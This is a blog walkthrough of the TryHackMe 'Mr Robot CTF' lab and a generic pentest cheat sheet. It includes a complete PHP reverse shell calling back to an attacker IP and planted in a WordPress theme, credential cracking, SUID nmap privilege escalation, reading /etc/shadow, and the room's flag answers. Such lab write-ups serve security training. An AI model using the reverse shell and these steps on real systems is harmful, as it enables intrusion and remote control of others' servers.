Mr Robot CTF - TryHackMe
9 min read
Published at: May 3, 2024
![Mr Robot from wallpapers-com](https://hailstormsec.com/content/images/2024/02/mr-robot.jpg)
Based on the Mr. Robot show, can you root this box?
Metadata
Meta
- Room name: Mr Robot CTF
- URL: https://tryhackme.com/room/mrrobot
Goal
Based on the Mr. Robot show, can you root this box?
Cheat Sheet
Before we begin, as always there is a generic Cheat Sheet for this room which could be integrated in your own notes. You find it at at the bottom of this write-up. You can also find all of my notes at https://hailstormsec.com/posts/categories/notes.
Tasks
Key 1
We start by conducting a portscan to see what services are hosted on the machine.
nmap -p- -v 10.10.50.175
PORT STATE SERVICE
22/tcp closed ssh
80/tcp open http
443/tcp open https
Navigating to the website we get the following:
![Landing page of the webpage](https://hailstormsec.com/content/images/2024/02/index.png)
The commands show different videos or articles with references to the Mr. Robot show. The only command that takes us somewhere interesting is "join", it takes us to a page where we have the decision to input an email address. Maybe there could be a
SQL Injection
However, first I will look for easier targets to widen our attack surface. I will do so with gobuster.
![Gobuster gives us a lot of output](https://hailstormsec.com/content/images/2024/02/gobuster.png)
Starting at the status 200:s - navigating to http://10.10.50.75/robots shows us something interesting.
![Information in robots](https://hailstormsec.com/content/images/2024/02/robots.png)
First, navigating to http://10.10.50.175/fsocity.dic will download a dictionary containing, what seems to be, directory names (maybe even passwords?). We could use this list on gobuster to see if we have missed something if we run out of ideas.
However, navigating to http://10.10.50.175/key-1-of-3.txt will give us our first flag!
Answers(s)
073403c8a58a1f80d943455fb30724b9
Key 2
Navigating to another status 200; http://10.10.50.175/license - I notice you can scroll down. Making all the text the following:
what you do just pull code from Rapid9 or some s@#% since when did you become a script kitty? do you want a password or something? ZWxsaW90OkVSMjgtMDY1Mgo=
The bottom string look very much like base64 encoding...
![Decode the base64](https://hailstormsec.com/content/images/2024/02/creds.png)
Amazing! We have credentials. Surely we can use them to access the wordpress portal we found from the gobuster scan too?
![access.png](https://hailstormsec.com/content/images/2024/02/access.png)
To get a foothold on the server, a very common way to do so is to edit the theme and change it to a reverse shell.
![Location to replace with our reverse shell](https://hailstormsec.com/content/images/2024/02/revshell.png)
I used the following php-shell:
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 [email protected]
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.8.11.118'; // You have changed this
$port = 1337; // And this
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid <b> -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() </b> -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string
";
}
}
?>
Create a listener and thereafter navigate to where you replaced the template to your reverse shell, in my case http://10.10.50.75/404.php.
![We got a shell](https://hailstormsec.com/content/images/2024/02/shell.png)
Port
Make sure to listen on the same port you used in your php reverse shell.
To get a more stable shell we can utilise the following commands:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# CTRL + Z
stty raw -echo; fg
stty rows 38 columns 116
Navigating to the robots home directory, we find the key-file and the users password in raw md5.
![password-and-key.png](https://hailstormsec.com/content/images/2024/02/password-and-key.png)
Given the hint that the hash is in raw-md5, we can use JohnTheRipper. Make sure to put the hash in a file first:
echo 'robot:c3fcd3d76192e4007dfb496cca67e13b' > robot-hash.txt
![We found the robot password](https://hailstormsec.com/content/images/2024/02/robot-password.png)
Now we can simply swap user on the target machine ( su robot
) and read the second key!
Answers(s)
822c73956184f694993bede3eb39f959
Key 3
A common tactic advance to root, is to look for SUID-bits. It basically means that we can run the program with the permission of the owner of that file. Read more here: https://www.redhat.com/sysadmin/suid-sgid-sticky-bit
To look for SUID-bits we can use the following command.
find / -perm /4000 2>/dev/null
/
- start looking recursivly from the root directory-perm
- specify file permission we are looking for/4000
- list all files with the SUID bit active2>/dev/nul
- remove all errors from STDOUT (screen)
![We find that nmap has suid bit active and is owned by root](https://hailstormsec.com/content/images/2024/02/suid-nmap.png)
We find that nmap
has the SUID bit active and owned by root. This means we can run nmap
as root! And from experience I know we can use this to escalate our privileges. Otherwise, a simple google seach will lead you to resources like this.
![We have root](https://hailstormsec.com/content/images/2024/02/root.png)
With root we can read the final key inside the /root
directory!
Answers(s)
04787ddef27c3dee1ee161b21670b4e4
Cheat Sheet
You can also find all of the following under the notes category.
Nmap
Network enumeration
Warning
ICMP and SYN scans cannot be tunnelled through socks proxies, so we must disable ping discovery (-Pn
) and specify TCP scans (-sT
) for this to work.
Prepared
Traceroute with Nmap:
sudo nmap -sn --tsaceroute ip_addr -oA insecure-net
Zenmap can take the .xml output and graphically display the traceroute and topology
Initial port scan:
sudo nmap -p- -v
Add -Pn
if windows machine
Narrow secondary scan:
sudo nmap -v -A -sC --script vuln -p PORTS
Nmap to searchsploit:
sudo nmap -sV -p PORTS -oX searchsploit.xml && searchsploit --nmap searchsploit.xml
Scripts
--script scriptname
: run scriptslocate *.nse
: list all scripts
Good scripts:
Script name | Functionality |
---|---|
dns-brute | Attempts to enumerate DNS hostnames by brute force guessing of common subdomains. |
http-enum | Enumerates directories used by popular web applications and servers. |
http-title | Shows the title of the default page of a web server. |
nfs* | Enumerates network file shares. |
smb-os-discovery | Attempts to determine the operating system, computer name, domain, workgroup, and current time over the SMB protocol (ports 445 or 139). |
smb-brute | Attempts to guess username/password combinations over SMB, storing discovered combinations for use in other scripts. |
smb-enum-shares | Tries to enumerate shares. |
smb-enum-users | Tries to enumerate users of the shares. |
Other script syntax:
-sC - Default scripts
--script all - runs all script (can DoS)
--script-updatedb - update the NSE scripts
--script banner - run the named script (banner) against the target(s)
--script-help "http*" - get help for the named script(s) (use wildcard * alone for all scripts)
--script "http*" - run all scripts beginning with http against the target(s)
--script "smb*" - run all scripts beginning with smb against the target(s)
--script category - runs all scripts within a script-category (e.g. vuln)
Examples, categories, etc: https://nmap.org/book/nse-usage.html
Other flags
Flag | Function |
---|---|
-sU | UDP scan |
-F | top 100 ports |
-iL | input file |
-D | decoy source IP (RND for random) |
-S | spoof IP, need to be on the same network |
-g | source port (-g 443 to resemble https, or -g 53 for UDP to resemble DNS ) |
--reason | show target response |
--packet_trace | show packet details |
traceroute | show topology |
Packet fragmentation | |
-f | to set the data in the IP packet to 8 bytes. |
-ff | to limit the data in the IP packet to 16 bytes at most. |
--mtu SIZE | to provide a custom size for data carried within the IP packet. The size should be a multiple of 8. |
Packet fragmentation end | |
--data-length | set a specific length (multiple of 8) |
--badsum | send invalid packet |
--ip-options "[S/L] IP IP2" | Strict and loose routing |
--proxies | comma separated proxy list (HTTP or SOCKS4) |
--spoof-mac | need to be on the same network |
--ttl | set specific time to live |
Gobuster
Directory bruteforce:
gobuster dir -u "URL" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o OUTFILE
DNS bruteforce:
gobuster dns -d "URL" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o OUTFILE
Threads
Default threads is 10 (-t
)
Gobuster flag | Description |
---|---|
-e | Print the full URLs in your console |
-u | The target URL |
-w | Path to your wordlist |
-U and -P | Username and Password for Basic Auth |
-p |
Proxy to use for requests |
-c |
Specify a cookie for simulating your auth |
Stabilise Shell
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# CTRL + Z
stty raw -echo; fg
stty rows 38 columns 116
JohnTheRipper
Also:
- zip2john
- ssh2john
- neo2john
- rar2john
- etc... https://www.kali.org/tools/john/
# Combine passwd and shadow for linux systems
sudo unshadow /etc/passwd /etc/shadow > unshadowed
# unshadowed parser
cat unshadowed | awk +F: '{print $2}' | sort -u
john --wordlist=list.txt --format=md5crypt unshadowed.txt
Add rules
You can add rules with --rules=best64
or KoreLogic
Cracked passwords stored in ~/.john/john.pot
or add --show
and --show=left
Custom rule
Edit: /etc/john/john.conf
Example
For [!@#$]word\d{2}
(regex), for non-regex terms. Prepend with !@#$ and append with two digits on every given word:
[List.Rules:rulename]
Az"[0-9][0-9]" ^[!@#$]
- To create list:
john --wordlist=password-list --rule=rulename --stdout > new.lst
Abusive permissions: Linux
List permissions:
sudo -l
SUID-, SGID-, Sticky-bits:
![suid-etc.png](https://hailstormsec.com/content/images/2024/02/suid-etc.png)
Permission | On Files | On Directories |
---|---|---|
SUID Bit | User executes the file with permissions of the file owner | - |
SGID Bit | User executes the file with the permission of the group owner. | File created in directory gets the same group owner. |
Sticky Bit | No meaning | Users are prevented from deleting files from other users. |
Check SUID bits:
find / -perm /4000 2>/dev/null
/
- start looking recursivly from the root directory-perm
- specify file permission we are looking for/4000
- list all files with the SUID bit active2>/dev/nul
- remove all errors from STDOUT (screen)
Support me
Thank you so much for reading and I hope you found it inspirational or helpful! You can best support me by doing any of the following bellow!
- Turn off Adblocker: A simple yet impactful way to support me for free.
- Sign Up: If you haven't already, consider signing up to get access to more content and receive optional newsletters.
- Buy Premium: Explore the Premium option for additional perks and exclusive content.
- Give a Tip: Your generosity is always very appreciated.
You can read more about the perks of being a Member or Subscriber here.
Additionally, you can stay updated and engage with me on social media:
Contact me here: [email protected]